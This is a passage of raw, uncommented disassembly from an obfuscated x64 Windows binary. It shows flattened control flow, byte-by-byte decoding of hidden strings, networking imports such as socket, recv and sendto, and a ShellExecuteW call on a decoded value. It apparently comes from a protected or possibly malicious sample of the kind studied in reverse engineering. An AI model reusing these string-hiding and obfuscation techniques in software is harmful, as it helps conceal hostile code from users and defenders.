sub al, r11b
lea r10d, [rdi + rax]
add r10b, 0x80
jmp 0x1400e1587
movabs rax, 0xf3d2b9a9f838d8d8
add rax, rbx
and r11b, al
mov ecx, ntohl
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
jmp 0x1400e158a
movabs rax, 0xdd4b3273f8520d30
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x50
jmp 0x1400e143a
movabs rax, 0xc6c3ab3df86b4188
add rax, rbx
and r11b, al
mov ecx, 0x24
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
jmp 0x1400e145d
movabs rax, 0xb03c2407f88475e0
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x20
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e0a22
movabs rax, 0xf7e95200f8c378bc
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x24
mov byte [rbp + rbx - 0x10], r10b
inc rbx
jmp 0x1400e0a22
movabs rcx, 0xe161cacaf8dcad14
add rcx, rbx
movzx eax, r11b
and al, cl
mov edx, Ordinal_60
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, dil
cmp r9, 0x3e8
jb 0x1400e0eb1
movabs rax, 0x7cffefc1fafa9278
add rax, rbx
and r11b, al
mov ecx, Ordinal_30
sub cl, r11b
add cl, cl
add cl, al
add cl, dil
lea r10d, [rcx + rcx]
jmp 0x1400e14ff
movabs rcx, 0xcada4394f8f5e16c
add rcx, rbx
movzx eax, r11b
and al, cl
mov edx, 6
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, dil
cmp r8, 0x3e8
jae 0x1400e13ec
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400e1321
movabs rcx, 0x9bb4a7a5fbf69de8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x58
jmp 0x1400e0ee2
movabs rcx, 0xb452bc5ef90f15c4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea r10d, [rdi + rcx]
sub r10b, 0x5c
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x1400e1418
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400e125f
movabs rcx, 0x2f259beefcff4384
add rcx, rbx
movzx eax, r11b
and al, cl
mov edx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1400e0f2b
movabs rax, 0x8b5a4649f9cc1e58
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x68
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e0a22
movabs rax, 0x74d2bf13f9e552b0
add rax, rbx
and r11b, al
mov ecx, Ordinal_26
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
jmp 0x1400e145d
movabs rax, 0x5e4b37ddf9fe8708
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x38
jmp 0x1400e143a
movabs rax, 0x47c3b0a7fa17bb60
add rax, rbx
and r11b, al
mov ecx, Ordinal_50
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
jmp 0x1400e158a
movabs rax, 0x313c2971fa30efb8
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 8
jmp 0x1400e1587
movabs rax, 0x1ab4a23bfa4a2410
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x70
jmp 0x1400e1545
movabs rax, 0x42d1b05fa635868
add rax, rbx
and r11b, al
mov ecx, reloc.WS2_32.dll_sendto
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
dec rbx
inc rbx
jmp 0x1400e0a22
movabs rax, 0xeda593cffa7c8cc0
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x1400e0a22
movabs rax, 0xd71e0c99fa95c118
add rax, rbx
and r11b, al
mov ecx, Ordinal_45
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
jmp 0x1400e14ff
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x1400e1168
movabs rcx, 0x8b43c39afff365d4
add rcx, rbx
movzx eax, r11b
and al, cl
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, dil
jmp 0x1400e0f94
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e11a2
movabs rax, 0xd91e176dfdeeb4c8
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x78
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e0a22
inc rax
cmp r8, rax
jne 0x1400e11d1
movabs rax, 0x62d25d9fdbc4c18
add rax, rbx
and r11b, al
mov ecx, Ordinal_45
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
jmp 0x1400e143a
cmp r8, rcx
jne 0x1400e11fd
movabs rax, 0x333c3445fd89e368
add rax, rbx
and r11b, al
mov ecx, reloc.WS2_32.dll_sendto
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
jmp 0x1400e1587
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400e122f
movabs rax, 0x604b42b1fd577ab8
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 8
dec rbx
inc rbx
jmp 0x1400e0a22
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e0f94
movabs rax, 0x8d5a511dfd251208
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x38
jmp 0x1400e14ff
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e128b
movabs rax, 0x45ad2324fce60f2c
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x34
jmp 0x1400e14ff
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e12bd
movabs rax, 0x72bc3190fcb3a67c
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x64
dec rbx
inc rbx
jmp 0x1400e0a22
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e12ed
movabs rax, 0x9fcb3ffcfc813dcc
add rax, rbx
and r11b, al
mov ecx, gethostname
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
jmp 0x1400e1587
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e0f37
movabs rax, 0xccda4e68fc4ed51c
add rax, rbx
and r11b, al
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
jmp 0x1400e143a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e135f
movabs rax, 0xb23c2edbfbdd6990
add rax, rbx
and r11b, al
mov ecx, 8
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e0a22
inc rax
cmp r8, rax
jne 0x1400e138a
movabs rax, 0xdf4b3d47fbab00e0
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x20
jmp 0x1400e143a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e13b6
movabs rax, 0xc5a4bb3fb789830
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x50
jmp 0x1400e1587
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400e0ee2
movabs rax, 0x39695a1ffb462f80
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
add r10b, 0x80
dec rbx
inc rbx
jmp 0x1400e0a22
movabs rcx, 0x938776f7fae15e20
add rcx, rbx
movzx eax, r11b
and al, cl
mov edx, reloc.WS2_32.dll_recv
sub dl, al
lea r10d, [rdx + rdx]
add r10b, cl
add r10b, r11b
add r10b, dil
jmp 0x1400e1545
movabs rcx, 0xaa0efe2dfac829c8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub cl, al
sub cl, r11b
lea r10d, [rdi + rcx]
sub r10b, 0x78
lea ecx, [rbx - 0x64]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x44
add cl, dil
movzx eax, cl
mov byte [rbp + rbx - 0x10], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x10
add cl, dil
mov byte [rbp + rbx - 0x10], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e0a22
movabs rax, 0xf3bc36fafe602054
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x4c
jmp 0x1400e158a
movabs rax, 0xdd34afc4fe7954ac
add rax, rbx
and r11b, al
mov ecx, Ordinal_41
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
jmp 0x1400e1587
movabs rax, 0x831692ecfede260c
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x54
lea ecx, [rbx + 0x4c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x14
add cl, dil
mov byte [rbp + rbx - 0x10], cl
inc r9
dec rbx
inc rbx
jmp 0x1400e0a22
movabs rcx, 0x1270eedeff5c2bc4
add rcx, rbx
and r11b, cl
add r11b, r11b
movzx r10d, sil
sub r10b, r11b
sub r10b, 0x5c
add r10b, cl
lea edx, [rbx - 0xc]
movzx eax, sil
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, sil
add cl, dl
add cl, r10b
mov byte [rbp + rbx - 0x10], cl
jmp 0x1400e1587
movabs rcx, 0xfbe967a8ff75601c
add rcx, rbx
and r11b, cl
mov eax, reloc.WLDAP32.dll_Ordinal_30
sub al, r11b
lea r10d, [rax + rax]
add r10b, sil
add r10b, cl
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400e0a22
movabs rax, 0xa1cb4ad0ffda317c
add rax, rbx
and r11b, al
add r11b, r11b
sub sil, r11b
lea r10d, [rax + rsi]
sub r10b, 0x64
movzx eax, byte [rbp + rbx - 0x10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e0a22
movabs rax, 0x5a349f86f973e724
add rax, rbx
and r11b, al
mov ecx, 2
sub cl, r11b
lea r10d, [rcx + rcx]
add r10b, al
add r10b, dil
jmp 0x1400e0a1e
movabs rax, 0x43ad1850f98d1b7c
add rax, rbx
and r11b, al
add r11b, r11b
sub al, r11b
lea r10d, [rdi + rax]
sub r10b, 0x64
jmp 0x1400e0a10
lea rax, [rbp + 0x1486a60]
jmp 0x1400e1634
lea rax, [rbp + 0xbbd034]
jmp 0x1400e1634
lea rax, [rbp - 0x10]
mov qword [rbp + 0x3e8], rax
xor r8d, r8d
lea rdx, [rbp + 0x3e8]
lea rcx, [rbp + 0x10]
call fcn.14002a0e0
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x30]
call fcn.1400285d0
lea rcx, [rbp + 0x30]
call fcn.140028db0
mov dword [rsp + 0x28], r14d
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, r15
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x30]
call fcn.140028d40
nop
lea rcx, [rbp + 0x10]
call fcn.140028d40
mov byte [rbp + 0x320], Ordinal_50
mov byte [rbp + 0x321], Ordinal_200
mov byte [rbp + 0x322], Ordinal_200
mov byte [rbp + 0x323], 0xcb
mov byte [rbp + 0x324], Ordinal_217
mov byte [rbp + 0x325], Ordinal_35
mov byte [rbp + 0x326], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x327], reloc.WS2_32.dll_recv
mov byte [rbp + 0x328], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x329], Ordinal_35
mov byte [rbp + 0x32a], Ordinal_45
mov byte [rbp + 0x32b], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x32c], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x32d], Ordinal_211
mov byte [rbp + 0x32e], 0xdd
mov byte [rbp + 0x32f], Ordinal_26
mov byte [rbp + 0x330], Ordinal_45
mov byte [rbp + 0x331], 0xde
mov byte [rbp + 0x332], 0xdf
mov byte [rbp + 0x333], Ordinal_30
mov byte [rbp + 0x334], 0xe7
mov byte [rbp + 0x335], 0xe9
mov byte [rbp + 0x336], 0xe1
mov byte [rbp + 0x337], 0xe5
mov byte [rbp + 0x338], Ordinal_35
mov byte [rbp + 0x339], Ordinal_41
mov byte [rbp + 0x33a], 0xe2
mov byte [rbp + 0x33b], 0xe1
mov byte [rbp + 0x33c], 0xeb
mov byte [rbp + 0x33d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x33e], 0xe3
mov byte [rbp + 0x33f], Ordinal_30
mov byte [rbp + 0x340], 0xe4
mov byte [rbp + 0x341], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x342], Ordinal_41
mov byte [rbp + 0x343], Ordinal_45
mov byte [rbp + 0x344], Ordinal_50
mov byte [rbp + 0x345], 0xf3
mov byte [rbp + 0x346], recvfrom
mov byte [rbp + 0x347], 0xfd
mov byte [rbp + 0x348], 0xfd
mov byte [rbp + 0x349], 0xf3
mov byte [rbp + 0x34a], Ordinal_60
mov byte [rbp + 0x34b], 8
mov byte [rbp + 0x34c], 1
mov byte [rbp + 0x34d], 0xf4
mov byte [rbp + 0x34e], Ordinal_60
mov byte [rbp + 0x34f], reloc.WS2_32.dll_listen
mov byte [rbp + 0x350], 0xf1
mov byte [rbp + 0x351], 0xf9
mov byte [rbp + 0x352], recvfrom
mov byte [rbp + 0x353], 0xf8
mov byte [rbp + 0x354], 7
mov byte [rbp + 0x355], 0xc0
mov byte [rbp + 0x356], 2
mov byte [rbp + 0x357], 0xfe
mov byte [rbp + 0x358], 0xfe
mov byte [rbp + 0x359], 0xfc
mov byte [rbp + 0x35a], reloc.WS2_32.dll_ntohl
mov byte [rbp + 0x35b], 0xfa
mov byte [rbp + 0x35c], 9
mov byte [rbp + 0x35d], 0xf0
mov byte [rbp + 0x35e], 0xcb
mov byte [rbp + 0x35f], recvfrom
mov byte [rbp + 0x360], 0xf1
mov byte [rbp + 0x361], 0xfa
mov byte [rbp + 0x362], 0xf7
mov byte [rbp + 0x363], reloc.WS2_32.dll_listen
mov byte [rbp + 0x364], reloc.WS2_32.dll_socket
mov byte [rbp + 0x365], 0xe8
mov byte [rbp + 0x366], Ordinal_211
mov byte [rbp + 0x367], 0x87
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], ax
mov byte [rbp + 0x37a], al
movabs rdi, 0x2ec06ed37debc8bc
movabs rsi, 0xaf5b3f1659dbb6c4
movabs r15, 0x32fcf91642f2d8cc
movabs r14, 0x49614ce9d3f6052c
movabs r12, 0xe3675abd4e105394
movabs r13, 0x1009846f69789448
movzx r10d, byte [rbp + 0x3d0]
nop word [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
cmp rbx, 0x5b
jae 0x1400e2770
movzx r11d, byte [rbp + rbx + 0x320]
cmp r8, rbx
ja 0x1400e2767
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400e193f
lea rcx, [rbx + r15]
mov rax, rcx
and rax, r11
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, r11
add r10b, 0x6c
jmp 0x1400e1970
je 0x1400e26ce
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e2693
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e264c
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400e261d
nop dword [rax]
cmp r9, rbx
ja 0x1400e275e
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400e199e
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x24
add r10b, dl
jmp 0x1400e1a00
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400e25d2
inc rax
cmp r8, rax
je 0x1400e25a5
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400e2576
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e2551
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400e24c1
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e249c
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400e2462
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400e2074
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400e204b
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400e2019
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400e1fea
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400e1fc2
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400e1f9d
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400e1f78
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400e1f52
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400e1f29
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400e1eef
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400e1a10
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x64]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400e2733
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400e2708
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400e1c02
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400e1be3
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400e1bc4
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400e1e89
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400e1e23
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400e1dcf
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400e1d9b
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400e1a10
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400e1d61
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400e1d39
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400e1d14
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400e1cef
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400e1cca
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400e1ca1
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400e1c72
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400e1c49
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400e1c21
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400e1a10
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x3e8]
jmp 0x1400e1a10
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5c
add r10b, dl
jmp 0x1400e1a00
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x34
add r10b, dl
jmp 0x1400e1970
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xc
add r10b, dl
jmp 0x1400e1913
movabs rdx, 0x7603769bef5e45e0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x20
add r10b, dl
jmp 0x1400e25f1
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400e1900
movabs rdx, 0xaa0f9242e392e2b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400e1900
movabs rdx, 0x4415a0165dad3118
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e2670
movabs rcx, 0xde1bade9d7c77f80
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
jmp 0x1400e26b2
movabs rcx, 0x7821bbbd51e1cde8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x58
jmp 0x1400e26b5
movabs rdx, 0x1227c990cbfc1c50
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x30
jmp 0x1400e24e1
movabs rdx, 0xac2dd76446166ab8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 8
add r10b, dl
jmp 0x1400e250e
movabs rdx, 0x4633e537c030b920
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x320]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1900
movabs rdx, 0x474307c871727d24
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x320], r10b
inc rbx
jmp 0x1400e1900
movabs rdx, 0xe149159beb8ccb8c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r9, 0x7a
jb 0x1400e1dbf
movabs rcx, 0x50cb3edeacc26148
add rcx, rbx
movzx eax, r11b
and al, cl
mov edx, 4
sub dl, al
add dl, dl
add dl, r11b
add dl, cl
lea r10d, [rdx + rdx]
jmp 0x1400e25f1
movabs rdx, 0x7b4f236f65a719f4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
cmp r8, 0x80
jae 0x1400e2412
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400e22a7
movabs rdx, 0x5507c92171c97158
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x68
jmp 0x1400e1df0
movabs rdx, 0x15553142dfc1685c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x1400e243d
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400e2195
movabs rdx, 0x26475a4df3dda89c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x44
jmp 0x1400e1e44
movabs rdx, 0x188298f4f386b468
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x320]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1900
movabs rdx, 0xb288a6c86da102d0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e250e
movabs rdx, 0x4c8eb49be7bb5138
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e24e1
movabs rcx, 0xe694c26f61d59fa0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
jmp 0x1400e26b5
movabs rcx, 0x809ad042dbefee08
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x38
jmp 0x1400e26b2
movabs rdx, 0x1aa0de16560a3c70
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x10
add r10b, dl
jmp 0x1400e2670
movabs rdx, 0xb4a6ebe9d0248ad8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, ntohl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x1400e1900
movabs rdx, 0x4eacf9bd4a3ed940
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400e1900
movabs rdx, 0xe8b30790c45927a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e25f1
lea rcx, [r9 + 4]
cmp r8, rcx
jae 0x1400e2091
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
mov ecx, gethostname
jmp 0x1400e1ea1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e20d0
movabs rcx, 0x5d80dda6fbd79178
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
movzx eax, byte [rbp + rbx + 0x320]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1900
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e20ff
movabs rdx, 0x2974c20007a2f4a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400e24e1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e2131
movabs rdx, 0x8f6eb42c8d88a640
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e26b5
cmp r8, rcx
jne 0x1400e215f
movabs rdx, 0xf568a659136e57d8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, ntohl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e26b2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e1ead
movabs rdx, 0x8d506f0b2b051e38
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e25f1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400e21c6
movabs rdx, 0x8c414c7a79c35a34
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6c
add r10b, dl
jmp 0x1400e25f1
inc rax
cmp r8, rax
jne 0x1400e2200
movabs rdx, 0xf23b3ea6ffa90bcc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400e1900
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400e2232
movabs rdx, 0xbe2f23000b746efc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400e2670
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400e2260
movabs rcx, 0x2429152c915a2094
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0xc
jmp 0x1400e26b2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400e1e47
movabs rdx, 0xbc10dddea8f0e6f4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x320]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400e1900
lea rax, [r9 + 1]
cmp r8, rax
